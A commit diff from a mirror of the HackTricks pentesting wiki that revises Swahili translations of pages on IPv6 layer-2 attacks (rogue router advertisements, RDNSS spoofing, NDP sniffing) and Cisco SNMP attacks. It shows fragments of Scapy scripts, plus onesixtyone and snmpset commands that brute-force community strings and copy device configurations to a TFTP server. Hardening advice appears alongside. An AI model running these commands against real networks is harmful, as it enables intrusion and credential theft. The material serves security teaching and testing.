mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
5cd19b4c7a
commit
8213bd5bd8
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## IPv6 Msingi wa nadharia
|
||||
## IPv6 Msingi wa Nadharia
|
||||
|
||||
### Mitandao
|
||||
|
||||
@ -54,7 +54,7 @@ Kutoa anwani ya MAC **`12:34:56:78:9a:bc`**, unaweza kujenga anwani ya Link-loca
|
||||
- **Anwani ya Multicast**: Kwa mawasiliano moja-kwa-mengi. Inatumwa kwa interfaces zote katika kundi la multicast. Kichwa: **`FF00::/8`**
|
||||
- **Anwani ya Anycast**: Kwa mawasiliano moja-kwa-karibu. Inatumwa kwa interface iliyo karibu kulingana na itifaki ya usafirishaji. Ni sehemu ya anuwai ya **`2000::/3`** ya unicast wa kimataifa.
|
||||
|
||||
### **Vichwa vya Anwani**
|
||||
### **Kichwa cha Anwani**
|
||||
|
||||
- **fe80::/10**: Anwani za Link-Local (sawa na 169.254.x.x)
|
||||
- **fc00::/7**: Unicast ya Kawaida ya Mitaa (sawa na anuwai za kibinafsi za IPv4 kama 10.x.x.x, 172.16.x.x, 192.168.x.x)
|
||||
@ -90,7 +90,7 @@ Mbinu kadhaa zipo za kutekeleza mashambulizi ya MitM katika mitandao ya IPv6, ka
|
||||
|
||||
### Exploring Subdomains
|
||||
|
||||
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` unaweza kuwa na ufanisi. Kwa haswa, amri ifuatayo ya utafutaji inaweza kutumika katika Google:
|
||||
Njia ya kupata subdomains ambazo zinaweza kuhusishwa na anwani za IPv6 inahusisha kutumia injini za utafutaji. Kwa mfano, kutumia muundo wa swali kama `ipv6.*` unaweza kuwa na ufanisi. Kwa haswa, amri ya utafutaji ifuatayo inaweza kutumika katika Google:
|
||||
```bash
|
||||
site:ipv6./
|
||||
```
|
||||
@ -108,7 +108,7 @@ Baada ya kubaini anwani za IPv6 zinazohusiana na shirika, zana ya `ping6` inawez
|
||||
|
||||
## Mbinu za Shambulio la Mtandao wa Mitaa wa IPv6
|
||||
|
||||
Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa **ndani ya segment moja /64** bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni **link-local** na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.
|
||||
Sehemu zifuatazo zinashughulikia mashambulizi halisi ya layer-2 ya IPv6 ambayo yanaweza kutekelezwa **ndani ya sehemu moja ya /64** bila kujua prefix yoyote ya kimataifa. Pakiti zote zilizoonyeshwa hapa chini ni **link-local** na husafiri tu kupitia swichi ya ndani, na kuifanya kuwa ngumu kugundulika katika mazingira mengi.
|
||||
|
||||
### Kurekebisha Mfumo kwa Maabara Imara
|
||||
|
||||
@ -128,7 +128,7 @@ sudo sysctl -w net.ipv4.tcp_tw_reuse=1
|
||||
```
|
||||
### Passive NDP & DHCPv6 Sniffing
|
||||
|
||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kubaini sehemu nzima bila kutuma pakiti hata moja. Mfuatano huu wa Python/Scapy unakusikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi na alama ya wakati ya nani ni nani:
|
||||
Kwa sababu kila mwenyeji wa IPv6 **anajiunga kiotomatiki na vikundi vingi vya multicast** (`ff02::1`, `ff02::2`, …) na anazungumza ICMPv6 kwa SLAAC/NDP, unaweza kuchora ramani ya sehemu nzima bila kutuma pakiti hata moja. Mstari mmoja ufuatao wa Python/Scapy unasikiliza ujumbe wa L2 wenye kuvutia zaidi na kuchapisha kumbukumbu yenye rangi, iliyo na muda wa nani ni nani:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
@ -231,8 +231,8 @@ sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
|
||||
|
||||
| Flag | Meaning | Effect on Client Behaviour |
|
||||
|------|---------|----------------------------|
|
||||
| **M (Managed Address Configuration)** | Wakati umewekwa kuwa `1` mwenyeji LAZIMA atumie **DHCPv6** kupata anwani yake ya IPv6. | Anwani nzima inatoka kwa DHCPv6 – bora kwa *mitm6* mtindo wa sumu. |
|
||||
| **O (Other Configuration)** | Wakati umewekwa kuwa `1` mwenyeji anapaswa kutumia **DHCPv6** tu kupata *maelezo mengine* (DNS, NTP, …). | Anwani bado kupitia SLAAC, lakini DNS inaweza kutekwa na DHCPv6. |
|
||||
| **M (Managed Address Configuration)** | Wakati umewekwa kwenye `1` mwenyeji LAZIMA atumie **DHCPv6** kupata anwani yake ya IPv6. | Ujumbe wote wa anwani unatoka kwa DHCPv6 – bora kwa *mitm6* mtindo wa sumu. |
|
||||
| **O (Other Configuration)** | Wakati umewekwa kwenye `1` mwenyeji anapaswa kutumia **DHCPv6** tu kupata *maelezo mengine* (DNS, NTP, …). | Anwani bado kupitia SLAAC, lakini DNS inaweza kutekwa na DHCPv6. |
|
||||
| **M=0 / O=0** | Mtandao safi wa SLAAC. | Njia za RA / RDNSS pekee zinaweza kufanyika – DHCPv6 haitatumwa na wateja. |
|
||||
| **M=1 / O=1** | Mazingira mchanganyiko. | Zote DHCPv6 na SLAAC zinatumika; uso wa kudanganya ni mkubwa zaidi. |
|
||||
|
||||
@ -240,7 +240,7 @@ Wakati wa pentest unaweza kuchunguza RA halali mara moja na kuamua ni vector ipi
|
||||
```bash
|
||||
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
|
||||
```
|
||||
Tafuta uwanja wa `flags [M,O]` katika dump - hakuna makisio yanayohitajika.
|
||||
Tafuta uwanja wa `flags [M,O]` katika dump – hakuna makisio yanayohitajika.
|
||||
|
||||
Uwanja wa **Prf** (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi router yako ya uasi inavyoonekana kuvutia wakati *gateway* nyingi zipo:
|
||||
|
||||
@ -248,15 +248,15 @@ Uwanja wa **Prf** (Router Preference) ndani ya kichwa cha RA unadhibiti jinsi ro
|
||||
|-----------|--------|---------|
|
||||
| **High** | `10` | Wateja wanapendelea router hii kuliko yoyote *Medium*/*Low* |
|
||||
| Medium (default) | `01` | Inatumika na karibu kila kifaa halali |
|
||||
| Low | `00` | Inachaguliwa tu wakati hakuna router bora zaidi |
|
||||
| Low | `00` | Inachaguliwa tu wakati hakuna router bora zaidi iliyopo |
|
||||
|
||||
Unapozalisha pakiti na Scapy unaweza kuipanga kupitia parameter ya `prf` kama ilivyoonyeshwa hapo juu (`prf=0x1` → High). Kuunganisha **High Prf**, **kipindi kifupi**, na **muda usio sifuri** kunafanya gateway yako ya uasi kuwa thabiti sana.
|
||||
Unapounda pakiti na Scapy unaweza kuipanga kupitia parameter ya `prf` kama ilivyoonyeshwa hapo juu (`prf=0x1` → High). Kuunganisha **High Prf**, **kipindi kifupi**, na **muda usio sifuri** kunafanya gateway yako ya uasi kuwa thabiti sana.
|
||||
|
||||
---
|
||||
|
||||
### RDNSS (DNS) Spoofing kupitia RA
|
||||
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali.
|
||||
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) inaruhusu kuongeza chaguo la **Recursive DNS Server (RDNSS)** ndani ya RA. Mfumo wa kisasa (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) kwa otomatiki unakubali hili:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from scapy.all import *
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari **161/UDP** kwa ujumbe wa jumla na **162/UDP** kwa ujumbe wa mtego. Protokali hii inategemea *nyuzi za jamii*, zinazofanya kazi kama "nywila" za maandiko zinazowezesha mawasiliano kati ya wakala wa SNMP na wasimamizi. Nyuzi hizi zinatambulisha kiwango cha ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-na-k写 (RW)**.
|
||||
**SNMP** inafanya kazi juu ya UDP na bandari **161/UDP** kwa ujumbe wa jumla na **162/UDP** kwa ujumbe wa mtego. Protokali hii inategemea *nyuzi za jamii*, zinazofanya kazi kama "nywila" za maandiko zinazowezesha mawasiliano kati ya wakala wa SNMP na wasimamizi. Nyuzi hizi zinatambulisha kiwango cha ufikiaji, haswa **kusoma tu (RO) au ruhusa za kusoma-kandika (RW)**.
|
||||
|
||||
Njia ya shambulio ya jadi—hata hivyo bado yenye ufanisi sana—ni **kuvunjavunja nyuzi za jamii** ili kupandisha kutoka kwa mtumiaji asiyeidhinishwa hadi msimamizi wa kifaa (RW jamii). Chombo cha vitendo kwa kazi hii ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
Njia ya shambulio ya jadi—lakini bado yenye ufanisi sana—ni **kuvunjavunja nyuzi za jamii** ili kuinua kutoka kwa mtumiaji asiyeidhinishwa hadi msimamizi wa kifaa (RW jamii). Chombo cha vitendo kwa kazi hii ni [**onesixtyone**](https://github.com/trailofbits/onesixtyone):
|
||||
```bash
|
||||
onesixtyone -c community_strings.txt -i targets.txt
|
||||
```
|
||||
@ -25,9 +25,9 @@ Ikiwa unapata **RW community** unaweza nakili usanidi unaotumika/usanidi wa kuan
|
||||
nmap -sU -p161 --script snmp-ios-config \
|
||||
--script-args creds.snmp=private 192.168.66.1
|
||||
```
|
||||
Scripti inaratibu kiotomatiki operesheni ya nakala na kuchapisha usanidi kwenye stdout.
|
||||
Script inaratibu kiotomatiki operesheni ya nakala na kuchapisha usanidi kwenye stdout.
|
||||
|
||||
2. **Mfuatano wa `snmpset` wa Kichwa**
|
||||
2. **Mfuatano wa mikono wa `snmpset`**
|
||||
```bash
|
||||
# Copy running-config (4) to a TFTP server (1) – random row id 1234
|
||||
snmpset -v2c -c private 192.168.66.1 \
|
||||
@ -38,9 +38,9 @@ snmpset -v2c -c private 192.168.66.1 \
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.6.1234 s \"backup.cfg\" \\
|
||||
1.3.6.1.4.1.9.9.96.1.1.1.1.14.1234 i 4 # rowStatus = createAndGo
|
||||
```
|
||||
Row identifiers ni *one-shot*; matumizi tena ndani ya dakika tano yanachochea makosa ya `inconsistentValue`.
|
||||
Row identifiers ni *moja tu*; matumizi tena ndani ya dakika tano husababisha makosa ya `inconsistentValue`.
|
||||
|
||||
Mara faili likiwa kwenye seva yako ya TFTP unaweza kuchunguza akidi (`enable secret`, `username <user> secret`, nk.) au hata kusukuma mabadiliko ya usanidi nyuma kwenye kifaa.
|
||||
Mara faili likiwa kwenye seva yako ya TFTP unaweza kuchunguza akauti (`enable secret`, `username <user> secret`, nk.) au hata kusukuma mabadiliko ya usanidi kurudi kwenye kifaa.
|
||||
|
||||
---
|
||||
|
||||
@ -62,10 +62,10 @@ Kufuatilia taarifa za wauzaji ni muhimu ili kubaini fursa za *zero-day-to-n-day*
|
||||
| Mwaka | CVE | Kipengele kilichohusika | Athari |
|
||||
|------|-----|-----------------|--------|
|
||||
| 2025 | CVE-2025-20174 | SNMP subsystem | Pakiti iliyoundwa inasababisha *DoS* (reload) iliyothibitishwa kwenye IOS/IOS-XE (v1/v2c/v3). |
|
||||
| 2024 | CVE-2024-20373 | Usimamizi wa IPv4 ACL | ACLs **extended** zilizowekwa vibaya zinashindwa kimya, zikiruhusu upimaji wa SNMP usio na uthibitisho wakati jamii/katumia halali inajulikana. |
|
||||
| 2024 | CVE-2024-20373 | Usimamizi wa IPv4 ACL | ACLs **extended** zilizowekwa vibaya *zinashindwa* kimya, zikiruhusu upimaji wa SNMP usio na uthibitisho wakati jamii/katumia halali inajulikana. |
|
||||
| 2025 | (hakuna CVE bado) | Kupita kwa vizuizi vya usanidi wa SNMPv3 | Mtumiaji halali wa v3 anaweza kupima kutoka anwani ambazo zinapaswa kukataliwa. |
|
||||
|
||||
Uwezekano wa kutumia mara nyingi bado unategemea kuwa na nywila ya jamii au akidi za v3—sababu nyingine kwa nini kujaribu kwa nguvu bado kuna umuhimu.
|
||||
Uwezekano wa kutumia mara nyingi bado unategemea kumiliki nywila ya jamii au akidi za v3—sababu nyingine kwa nini kujaribu kwa nguvu bado kuna umuhimu.
|
||||
|
||||
---
|
||||
|
||||
@ -77,12 +77,12 @@ Uwezekano wa kutumia mara nyingi bado unategemea kuwa na nywila ya jamii au akid
|
||||
snmp-server group SECURE v3 priv
|
||||
snmp-server user monitor SECURE v3 auth sha <authpass> priv aes 256 <privpass>
|
||||
```
|
||||
* Fungamanisha SNMP na VRF ya usimamizi na **punguza kwa *standard* nambari za IPv4 ACLs** (ACLs zenye majina za extended ni hatari – CVE-2024-20373).
|
||||
* Fungamanisha SNMP na VRF ya usimamizi na **punguza kwa *standard* numbered IPv4 ACLs** (ACLs zenye majina za extended ni hatari – CVE-2024-20373).
|
||||
* Zima **RW communities**; ikiwa inahitajika kwa operesheni, zipunguze kwa ACL na maoni:
|
||||
`snmp-server community <string> RW 99 view SysView`
|
||||
* Fuata:
|
||||
- Spike za UDP/161 au vyanzo visivyotarajiwa (sheria za SIEM).
|
||||
- Matukio ya `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` yanayoashiria mabadiliko ya usanidi nje ya bendi.
|
||||
- Matukio ya `CISCO-CONFIG-MAN-MIB::ccmHistoryEventConfigSource` yanayoashiria mabadiliko ya usanidi ya nje ya bendi.
|
||||
* Wezesha **SNMPv3 logging** na `snmp-server packetsize 1500` ili kupunguza njia fulani za DoS.
|
||||
|
||||
---
|
||||
|
Loading…
x
Reference in New Issue
Block a user